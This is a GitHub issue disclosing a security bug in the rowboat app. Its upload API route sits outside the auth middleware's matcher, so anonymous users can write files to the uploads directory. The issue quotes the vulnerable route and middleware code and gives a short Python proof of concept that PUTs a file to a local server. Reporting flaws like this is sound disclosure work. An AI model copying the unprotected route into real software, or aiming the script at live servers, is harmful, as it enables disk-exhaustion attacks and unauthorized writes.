rowboatlabs / rowboatlabs/rowboat
[BUG][Security] Unauthorized file upload problem
- Dominant language
- TypeScript
- Stars
- 17.6k
- Forks
- 1.7k
- Avg merge
- 11h 37m
- Merged PRs (30d)
- 173
Description
## Description of the bug
The api defined in ```apps/rowboat/app/api/uploads/[fileId]/route.ts``` should not be available to anyone. Wrong configuration make anonymous can access to this api.
```typescript
// PUT endpoint to handle file uploads
export async function PUT(
request: NextRequest,
{ params }: { params: { fileId: string } }
) {
const fileId = params.fileId;
if (!fileId) {
return NextResponse.json({ error: 'Missing file ID' }, { status: 400 });
}
const filePath = path.join(UPLOADS_DIR, fileId);
try {
const data = await request.arrayBuffer();
await fs.writeFile(filePath, new Uint8Array(data));
```
auth middleware configuration.
```typescript
export const config = {
matcher: [
'/projects/:path*',
'/billing/:path*',
// '/onboarding/:path*',
'/api/v1/:path*',
'/api/widget/v1/:path*',
],
};
```
Without login checking, attackers can upload unlimited number of files to server to occupy the rest of disk spaces until the server disk is full.
## Steps to reproduce
1. configure auth0 and RAG_UPLOADS_DIR environment variable.
```
USE_AUTH=true
# some AUTH0 configuration
USE_RAG_UPLOADS=true
RAG_UPLOADS_DIR=./uploads
```
2. start server.
```
cd apps/rowboat
pnpm start
```
3. run script
```py
import requests
file_a = open('a.txt', 'w')
file_a.write('This is a test file for upload.')
file_a.close()
url = "http://127.0.0.1:3000/api/uploads/123.txt"
with open('a.txt', 'rb') as f:
payload = {}
files=[
('file',('a.txt',f, 'application/octet-stream'))
]
headers = {}
response = requests.request("PUT", url, headers=headers, data=payload, files=files)
print(response.text)
```
4. a file named 123.txt will be written to uploads directory.
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.